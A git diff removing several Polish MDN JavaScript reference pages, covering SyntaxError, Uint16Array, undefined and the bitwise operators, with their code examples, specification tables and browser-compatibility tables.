{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
-
Ścieżka do pliku zawierającego błąd. Odziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
-
Numer zawierającej błąd linii w pliku. Odziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
-
Numer zawierającej błąd kolumny w linii kodu. Odziedziczone z {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
-
Stos wywołań. Odziedziczone z {{jsxref("Error")}}.
-
- -

Przykłady

- -

Obsługa SyntaxError

- -
try {
-  eval('hoo bar');
-} catch (e) {
-  console.error(e instanceof SyntaxError);
-  console.error(e.message);
-  console.error(e.name);
-  console.error(e.fileName);
-  console.error(e.lineNumber);
-  console.error(e.columnNumber);
-  console.error(e.stack);
-}
-
- -

Tworzenie SyntaxError

- -
try {
-  throw new SyntaxError('Hej', 'jakisPlik.js', 10);
-} catch (e) {
-  console.error(e instanceof SyntaxError); // true
-  console.error(e.message);                // Hej
-  console.error(e.name);                   // SyntaxError
-  console.error(e.fileName);               // jakisPlik.js
-  console.error(e.lineNumber);             // 10
-  console.error(e.columnNumber);           // 0
-  console.error(e.stack);                  // @debugger eval code:3:9
-}
-
- -

Specyfikacje

- - - - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}
- -

Wsparcie przeglądarek

- -
- - -

{{Compat("javascript.builtins.SyntaxError")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/uint16array/index.html b/files/pl/web/javascript/referencje/obiekty/uint16array/index.html deleted file mode 100644 index ef744c5848..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/uint16array/index.html +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: Uint16Array -slug: Web/JavaScript/Referencje/Obiekty/Uint16Array -translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array ---- -
{{JSRef("Global_Objects", "TypedArray", "Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array")}}
- -

Summary

- -

The Uint16Array typed array represents an array of 16-bit unsigned integers in the platform byte order. If control over byte order is needed, use {{jsxref("DataView")}} instead. The contents are initialized to 0. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).

- -

Syntax

- -
Uint16Array(length);
-Uint16Array(typedArray);
-Uint16Array(object);
-Uint16Array(buffer [, byteOffset [, length]]);
- -

For more information about the constructor syntax and the parameters, see TypedArray.

- -

Properties

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}
-
Returns a number value of the element size. 2 in the case of an Uint16Array.
-
Uint16Array.length
-
Length property whose value is 3.
-
{{jsxref("TypedArray.name", "Uint16Array.name")}}
-
Returns the string value of the constructor name. In the case of the Uint16Array type: "Uint16Array".
-
{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}
-
Prototype for the TypedArray objects.
-
- -

Methods

- -
-
{{jsxref("TypedArray.from", "Uint16Array.from()")}}
-
Creates a new Uint16Array from an array-like or iterable object. See also {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "Uint16Array.of()")}}
-
Creates a new Uint16Array with a variable number of arguments. See also {{jsxref("Array.of()")}}.
-
- -

Uint16Array prototype

- -

All Uint16Array objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Properties

- -
-
Uint16Array.prototype.constructor
-
Returns the function that created an instance's prototype. This is the Uint16Array constructor by default.
-
{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}
-
Returns the {{jsxref("ArrayBuffer")}} referenced by the Uint16Array Fixed at construction time and thus read only.
-
{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}
-
Returns the length (in bytes) of the Uint16Array from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus read only.
-
{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}
-
Returns the offset (in bytes) of the Uint16Array from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus read only.
-
{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}
-
Returns the number of elements hold in the Uint16Array. Fixed at construction time and thus read only.
-
- -

Methods

- -
-
{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}
-
Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}
-
Returns a new Array Iterator object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}
-
Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}
-
Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}
-
Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}
-
Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found. See also {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}
-
Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}
-
Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}} {{experimental_inline}}
-
Determines whether a typed array includes a certain element, returning true or false as appropriate. See also {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}
-
Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}
-
Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}
-
Returns a new Array Iterator that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}
-
Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}
-
Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
-
Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}
-
Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}
-
Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}
-
Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}
-
Stores multiple values in the typed array, reading input values from a specified array.
-
{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}
-
Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}
-
Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}
-
Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}
-
Returns a new Uint16Array from the given start and end element index.
-
{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}
-
Returns a new Array Iterator object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}
-
Returns a localized string representing the array and its elements. See also {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}
-
Returns a string representing the array and its elements. See also {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}
-
Returns a new Array Iterator object that contains the values for each index in the array.
-
- -

Examples

- -
// From a length
-var uint16 = new Uint16Array(2);
-uint16[0] = 42;
-console.log(uint16[0]); // 42
-console.log(uint16.length); // 2
-console.log(uint16.BYTES_PER_ELEMENT); // 2
-
-// From an array
-var arr = new Uint16Array([21,31]);
-console.log(arr[1]); // 31
-
-// From another TypedArray
-var x = new Uint16Array([21, 31]);
-var y = new Uint16Array(x);
-console.log(y[0]); // 21
-
-// From an ArrayBuffer
-var buffer = new ArrayBuffer(8);
-var z = new Uint16Array(buffer, 0, 4);
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
Typed Array SpecificationObsoleteSuperseded by ECMAScript 6.
{{SpecName('ES6', '#table-45', 'TypedArray constructors')}}{{Spec2('ES6')}}Initial definition in an ECMA standard.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support7.0{{ CompatGeckoDesktop("2") }}1011.65.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.0{{ CompatVersionUnknown() }}{{ CompatGeckoMobile("2") }}1011.64.2
-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/undefined/index.html b/files/pl/web/javascript/referencje/obiekty/undefined/index.html deleted file mode 100644 index 9b9460985f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/undefined/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: undefined -slug: Web/JavaScript/Referencje/Obiekty/undefined -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/undefined ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Wartość niezdefiniowana.

- -

{{js_property_attributes(0,0,0)}}

- -

Składnia

- -
undefined
- -

Opis

- -

undefined jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.

- -

Zmienna, której nie przypisano wartości, jest typu undefined. Metoda lub wyrażenie zwraca undefined, jeśli wyliczana zmienna nie posiada wartości.

- -

Można wykorzystać undefined do zbadania, czy dana zmienna ma wartość. W poniższym kodzie zmienna x nie jest zdefiniowana i wyrażenie if ma wartość "prawda" (true).

- -
var x;
-if (x === undefined) {
-   // polecenia tu umieszczone są wykonywane
-} else {
-   // polecenia tu umieszczone nie są wykonywane
-}
-
- -

undefined jest także wartością prostą.

diff --git a/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html b/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html deleted file mode 100644 index 2f4eddc1e9..0000000000 --- a/files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html +++ /dev/null @@ -1,559 +0,0 @@ ---- -title: Operatory bitowe -slug: Web/JavaScript/Referencje/Operatory/Bitwise_Operators -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators ---- -
{{jsSidebar("Operators")}}
- -

Operatory bitowe traktuję swoje operandy jako sekwencje 32 bitów (zer i jedynek), bardziej niż jako dziesiętne, szesnastkowe czy ósemkowe wartości liczbowe. Przykładowo, reprezentacją binarną dziesiętnej liczby 9 jest 1001. Operatory bitowe dokonują operacji na takich właśnie reprezentacjach bitowych, zwracają jednak standardowe JavaScriptowe wartości liczbowe.

- -
{{EmbedInteractiveExample("pages/js/expressions-bitwiseoperators.html")}}
- - - -

Poniższa tabela zawiera podsumowanie operatorów bitowych w języku JavaScript:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OperatorUżycieOpis
Bitowe ANDa & bZwraca 1 na każdej pozycji bitowej, dla której odpowiadające jej bity obydwu operandów mają wartość 1.
Bitowe ORa | bZwraca 1 na każdej pozycji bitowej, dla której jeden lub oba odpowiadające jej bity operandów mają wartość 1.
Bitowe XORa ^ bZwraca 1 na każdej pozycji bitowej, dla której dokładnie jeden bit spośród odpowiadających jej bitów operandów ma wartość jeden.
Bitowe NOT~ aNeguje bity swojego operandu.
Przesunięcie w lewoa << bPrzesuwa a w binarnej reprezentacji o b bitów w lewo (gdzie b < 32), dodając zera z prawej strony.
Przesunięcie w prawo z propagacją znakua >> bPrzesuwa a w binarnej reprezentacji o b bitów w prawo (gdzie b < 32), odrzucając b bitów z prawej strony.
Przesunięcie w prawo z dopełnieniem zeramia >>> b  Przesuwa a w binarnej reprezentacji o b bitów w prawo (gdzie b < 32), odrzucając b bitów z prawej strony i uzupełniając sekwencję zerami z lewej strony.
- -

32-bitowe wartości całkowite ze znakiem

- -

Operandy wszystkich operatorów bitowych są konwertowane do 32-bitowych wartości całkowitych w dwójkowym kodzie uzupełnieniowym, z wyjątkiem przesunięcia w prawo z dopełnieniem zerami, które zwraca 32-bitową wartość całkowitą bez znaku. Dwójkowy kod uzupełnieniowy oznacza, że liczba przeciwna danej wartości (na przykład 5 i -5) ma wszystkie bity zanegowane w stosunku do tejże wartości (bitowe NOT liczby, znane również jako jedynkowe dopełnienie liczby) plus jeden. Przykładowo, dziesiętna liczba 314 ma następującą postać dwójkową:

- -
00000000000000000000000100111010
-
- -

Reprezentacja binarna ~314, czyli jedynkowe dopełnienie 314:

- -
11111111111111111111111011000101
-
- -

-314 ma ostatecznie następującą postać, będącą dwójkowym dopełnieniem 314:

- -
11111111111111111111111011000110
-
- -

Dopełnienie dwójkowe gwarantuje, że skrajny lewy bit będzie zerem dla liczby dodatniej i jedynką dla liczby ujemnej – bit ten zwany jest stąd bitem znaku.

- -

Liczba 0 jest wartością całkowitą, złożoną w całości z bitów o wartości 0.

- -
0 (base 10) = 00000000000000000000000000000000 (base 2)
-
- -

Liczba -1 jest wartością całkowitą, złożoną z samych bitów o wartości 1.

- -
-1 (base 10) = 11111111111111111111111111111111 (base 2)
-
- -

Liczba -2147483648 (reprezentacja szesnastkowa: -0x80000000) jest wartością całkowitą, złożoną z samych bitów o wartości 0, z wyjątkiem pierwszego (znajdującego się najbardziej z lewej strony) bitu.

- -
-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
-
- -

Liczba 2147483647 (rprezentacja szesnastkowa: 0x7fffffff) jest wartością całkowitą, złożoną jedynie z bitów o wartości 1, z wyjątkiem pierwszego (skrajnie lewego) bitu.

- -
2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
-
- -

Liczby -2147483648 i 2147483647 stanowią odpowiednio minimalną i maksymalną wartość całkowitą, którą można zapisać przy użyciu 32-bitowej liczby ze znakiem.

- -

Bitowe operatory logiczne

- -

Idea działania bitowych operatorów logicznych jest następująca:

- - - -

& (Bitowe AND)

- -

Stosuje operację AND (koniunkcję) na każdej parze bitów. a AND b daje 1 wtedy i tylko wtedy, gdy zarówno a, jak i b będą miały wartość 1. Tablica prawdy dla operacji AND przedstawiona jest poniżej:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba AND b
000
010
100
111
- -
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
-
- -

Bitowa koniunkcja (AND) dowolnej wartości x i 0 zawsze daje 0.

- -

| (Bitowe OR)

- -

Stosuje operację OR (alternatywę) na każdej parze bitów. a OR b daje 1 wtedy i tylko wtedy, gdy a lub b ma wartość 1. Tablica prawdy dla operacji OR przedstawina jest poniżej:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba OR b
000
011
101
111
- -
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
-
- -

Zastosowanie alternatywy bitowej (OR) dowlonej wartości x i 0 zawsze daje x.

- -

^ (Bitowe XOR)

- -

Stosuje bitowe XOR (alternatywę wykluczającą) na każdej parze bitów. a XOR b daje 1 wtedy i tylko wtedy, gdy a i b mają różne wartości. Tablica prawdy dla operacji XOR przedstawiona jest poniżej:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba XOR b
000
011
101
110
- -
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
-
- -

Zastosowanie bitowej alternatywy wykluczającej (XOR) dowolnej wartości x i 0 daje x.

- -

~ (Bitowe NOT)

- -

Stosuje operator NOT (negację) na każdym bicie. NOT a zwraca odwróconą wartość (inaczej zwaną dopełnieniem jedynkowym) a. Tablica prawdy operacji NOT przedstawiona jest poniżej:

- - - - - - - - - - - - - - - - -
aNOT a
01
10
- -
 9 (base 10) = 00000000000000000000000000001001 (base 2)
-               --------------------------------
-~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
-
- -

Bitowa negacja (NOT) dowolnej wartości x daje -(x + 1). Przykładowo, ~-5 daje 4.

- -

Zauważmy, że z powodu używania 32-bitowej reprezentacji liczb, zarówno ~-1, jak i ~4294967295 (232-1) daje wynik 0.

- -

Bitowe operatory przesunięcia

- -

Bitowe operatory przesunięcia przyjmują dwa operandy: pierwszy jest wartością do przesunięcia, a drugi wskazuje liczbę pozycji bitowych, o którą pierszy operand ma być przesunięty. Kierunek operacji przesunięcia jest zdefiniowany przez użycie danego operatora.

- -

Operatory przesunięcia konwertują swoje operandy do 32-bitowych wartości całkowitych w porządku big-endian (znanym też pod nazwą grubokońcowość) i zwraca wynik tego samego typu, co lewy operand. Użytych będzie przy tym jedynie pięć najniższych bitów prawego operandu.

- -

<< (Przesunięcie w lewo)

- -

Operator ten przesuwa pierwszy operand o określoną liczbę bitów w lewo. Nadmiarowe bity przesunięte poza zakres z lewej strony są odrzucane. Z prawej strony sekwencja uzupełniana jest zerami.

- -

Przykładowo, 9 << 2 daje 36:

- -
.    9 (base 10): 00000000000000000000000000001001 (base 2)
-                  --------------------------------
-9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
-
- -

Bitowe przesuwanie dowolnej wartości x w lewo o y bitów daje x * 2 ** y.
- Tak więc, przykładowo: 9 << 3 można przetłumaczyć jako: 9 * (2 ** 3) = 9 * (8) = 72.

- -

>> (Przesunięcie w prawo z propagacją znaku)

- -

Operator ten przesuwa pierwszy operand o określoną liczbę bitów w prawo. Nadmiarowe bity przesunięte z prawej strony poza zakres są odrzucane. Sekwencja jest uzupełniana z lewej strony wartościami skrajnie lewego bitu. Kiedy skrajnie lewy bit ma taką samą wartość, jak poprzedni skrajnie lewy bit, znak się nie zmienia – stąd nazwa „z propagacją znaku”.

- -

Przykładowo, 9 >> 2 daje 2:

- -
.    9 (base 10): 00000000000000000000000000001001 (base 2)
-                  --------------------------------
-9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

Podobnie, -9 >> 2 daje -3, ponieważ zachowywany jest znak:

- -
.    -9 (base 10): 11111111111111111111111111110111 (base 2)
-                   --------------------------------
--9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
-
- -

>>> (Przesunięcie w prawo z dopełnieniem zerami)

- -

Operator ten przesuwa pierwszy operand o określoną liczbę bitów w prawo. Nadmiarowe bity przesunięte poza zakres z prawej strony są odrzucane. Sekwencja jest uzupełniana z lewej strony zerami. Bit znaku staje się zerem, dlatego też wynik jest zawsze nieujemny. W przeciwieństwie do pozostałych operatorów bitowych, przesunięcie w prawo z dopełnieniem zerami zwraca 32-bitową wartość całkowitą bez znaku.

- -

Dla liczb nieujemnych, przesunięcie w prawo z zerami i z zachowaniem znaku dają taki sam wynik. Przykładowo, 9 >>> 2 daje 2, tak samo jak 9 >> 2:

- -
.     9 (base 10): 00000000000000000000000000001001 (base 2)
-                   --------------------------------
-9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

Inaczej wygląda to jednak w przypadku liczb ujemnych. Przykładowo, -9 >>> 2 daje 1073741821, co jest różne od -9 >> 2 (które daje -3):

- -
.     -9 (base 10): 11111111111111111111111111110111 (base 2)
-                    --------------------------------
--9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
-
- -

Przykłady

- -

Flagi i maski bitowe

- -

Bitowe operatory logiczne są często używane do tworzenia, manipulowania i odczytywania sekwencji flag, które działają jak zmienne binarne. Zmienne mogą być używane zamiast tych sekwencji, ale flagi zajmują znacznie mniej pamięci (32-krotnie).

- -

Załóżmy, że mamy następujące 4 flagi:

- - - -

Flagi te są reprezentowane przez sekwencję bitów: DCBA. Kiedy flaga jest ustawiona, odpowiedni bit ma wartość 1. Kiedy flaga jest wyczyszczona, właściwy bit ma wartość 0. Załóżmy, że zmienna flagi ma binarną wartość 0101:

- -
var flagi = 5;   // binarnie 0101
-
- -

Wartość ta wskazuje, że:

- - - -

Ponieważ operatory bitowe są 32-bitowe, 0101 to faktycznie 00000000000000000000000000000101, ale zera wiodące mogą być pominięte, gdyż nie zawierają żadnej znaczącej informacji.

- -

Maska bitowa jest sekwencją bitów pozwalającą na manipulowanie flagami lub odczytywanie ich wartości. Zazwyczaj „podstawowe” maski bitowe dla każdej flagi będą zdefiniowane w następujący sposób:

- -
var FLAGA_A = 1; // 0001
-var FLAGA_B = 2; // 0010
-var FLAGA_C = 4; // 0100
-var FLAGA_D = 8; // 1000
-
- -

Nowe maski bitowe mogą być stworzone przy użyciu operatorów bitowych na tychże podstawowych maskach. Przykładowo, maska 1011 może być stworzona przy użyciu operatora OR na zmiennych FLAGA_A, FLAGA_B i FLAGA_D.

- -
var maska = FLAGA_A | FLAGA_B | FLAGA_D; // 0001 | 0010 | 1000 => 1011
-
- -

Pojedyncze wartości flag mogą być wyekstrahowane przez użycie operatora AND na fladze i właściwej masce – bit z wartością 1 „ekstrahuje” odpowiednią flagę. Maska bitowa maskuje wszystkie nieistotne flagi przez koniunkcję ich bitów z zerami maski (stąd nazwa „maska”). Przykładowo, maska 0100 może być użyta do sprawdzenia, czy flaga C jest ustawiona:

- -
// czy mamy kota
-if (flagi & FLAGA_C) { // 0101 & 0100 => 0100 => true
-   // coś zrób
-}
-
- -

Maska z ustawionymi wieloma flagami działa jak alternatywa logiczna. Przykładowo, poniższe dwie wersje są równoważne:

- -
// czy mamy nietoperza lub czy mamy kota
-// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true
-if ((flagi & FLAGA_B) || (flagi & FLAGA_C)) {
-   // coś zrób
-}
-
- -
// czy mamy nietoperza lub kota
-var maska = FLAGA_B | FLAGA_C; // 0010 | 0100 => 0110
-if (flagi & maska) { // 0101 & 0110 => 0100 => true
-   // coś zrób
-}
-
- -

Flagi mogą być ustawione przez użycie na nich i masce operacji OR, gdzie każdy z bitów z wartością 1 będzie ustawiał odpowiednią flagę, jeśli nie jest już ustawiona. Przykładowo, maska 1100 może być użyta do ustawienia flag C i D:

- -
// tak, możemy mieć kota i kaczkę
-var maska = FLAGA_C | FLAGA_D; // 0100 | 1000 => 1100
-flagi |= maska;   // 0101 | 1100 => 1101
-
- -

Flagi mogą być czyszczone przez użycie operatora AND z maską, gdzie każdy z bitów z wartością 0 będzie czyścił odpowiednią flagę, jeśli nie jest już wyczyszczona. Maska może być stworzona przez użycie operatora NOT na maskach podstawowych. Przykładowo, maska 1010 może być użyta do wyczyszczenia flag A i C:

- -
// nieprawdą jest, że mamy problem z mrówkami lub posiadamy kota
-var maska = ~(FLAG_A | FLAG_C); // ~0101 => 1010
-flagi &= maska;   // 1101 & 1010 => 1000
-
- -

Maska może być również stworzona przez wyrażenie ~FLAG_A & ~FLAG_C (z praw De Morgana):

- -
// nie, nie mamy problemu z mrówkami i nie posiadamy kota
-var maska = ~FLAGA_A & ~FLAGA_C;
-flagi &= maska;   // 1101 & 1010 => 1000
-
- -

Flagi mogą być przełączane przez użycie operatora XOR z maską bitową, gdzie każðy bit będzie przełączał odpowiednią flagę. Przykładowo, maska 0110 może być użyta do przełączenia flag B i C:

- -
// jeśli nie mieliśmy nietoperza, teraz go mamy,
-// a jeśli go mieliśmy – pa, pa, nietoperku!
-// tak samo z kotami
-var maska = FLAGA_B | FLAGA_C;
-flagi = flagi ^ maska;   // 1100 ^ 0110 => 1010
-
- -

Flagi mogą być odwracane przez operator NOT:

- -
// przechodzimy do równoległego wszechświata...
-flagi = ~flagi;    // ~1010 => 0101
-
- -

Conversion snippets

- -

Konwersja binarnej zmiennej typu String do liczby dziesiętnej typu Number:

- -
var sBinString = '1011';
-var nMojaLiczba = parseInt(sBinString, 2);
-alert(nMojaLiczba); // wypisuje 11, tzn. binarnie 1011
-
- -

Konwersja dziesiętnej liczby do binarnego Stringa:

- -
var nMojaLiczba = 11;
-var sBinString = nMojaLiczba.toString(2);
-alert(sBinString); // wypisuje 1011, tzn. dziesiętnie 11
-
- -

Automatyczne tworzenie masek

- -

Możesz stworzyć wiele masek ze zbioru wartości typu Boolean values, na przykład:

- -
function createMask() {
-  var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length;
-  for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++);
-  return nMask;
-}
-var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
-var mask2 = createMask(false, false, true); // 4, i.e.: 0100
-var mask3 = createMask(true); // 1, i.e.: 0001
-// itd.
-
-alert(mask1); // wypisuje 11, czyli binarnie: 1011
-
- -

Algorytm odwrotny: tablica zmiennych boolowskich z maski

- -

Jeśli chcesz stworzyć tablicę złożoną ze zmiennych boolowskich, możesz użyć następującego kodu:

- -
function arrayFromMask(nMask) {
-  // nMask musi być pomiędzy -2147483648 a 2147483647
-  if (nMask > 0x7fffffff || nMask < -0x80000000) {
-    throw new TypeError('arrayFromMask - out of range');
-  }
-  for (var nShifted = nMask, aFromMask = []; nShifted;
-       aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1);
-  return aFromMask;
-}
-
-var array1 = arrayFromMask(11);
-var array2 = arrayFromMask(4);
-var array3 = arrayFromMask(1);
-
-alert('[' + array1.join(', ') + ']');
-// wypisuje "[true, true, false, true]", tzn.: 11, tzn.: 1011
-
- -

Możesz przetestować obydwa algorytmy naraz:

- -
var nTest = 19; // nasza maska
-var nResult = createMask.apply(this, arrayFromMask(nTest));
-
-alert(nResult); // 19
-
- -

Jedynie dla celów dydaktycznych (jako że istnieje metoda Number.toString(2)), pokażemy jak można zmodyfikować algorytm arrayFromMask tak, by tworzył zmienną String zawierającą binarną reprezentację danej liczby, zamiast tablicy zmiennych typu Boolean:

- -
function createBinaryString(nMask) {
-  // nMask musi być pomiędzy -2147483648 a 2147483647
-  for (var nFlag = 0, nShifted = nMask, sMask = ''; nFlag < 32;
-       nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1);
-  return sMask;
-}
-
-var string1 = createBinaryString(11);
-var string2 = createBinaryString(4);
-var string3 = createBinaryString(1);
-
-alert(string1);
-// wypisuje 00000000000000000000000000001011, i.e. 11
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES1')}}{{Spec2('ES1')}}Definicja początkowa.
{{SpecName('ES5.1', '#sec-11.7')}}{{Spec2('ES5.1')}}Zdefiniowane w kilku sekcjach specyfikacji: Bitwise NOT operator, Bitwise shift operators, Binary bitwise operators
{{SpecName('ES6', '#sec-bitwise-shift-operators')}}{{Spec2('ES6')}}Zdefiniowane w kilku sekcjach specyfikacji: Bitwise NOT operator, Bitwise shift operators, Binary bitwise operators
{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}{{Spec2('ESDraft')}}Zdefiniowane w kilku sekcjach specyfikacji: Bitwise NOT operator, Bitwise shift operators, Binary bitwise operators
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.bitwise")}}

- -

Zobacz też

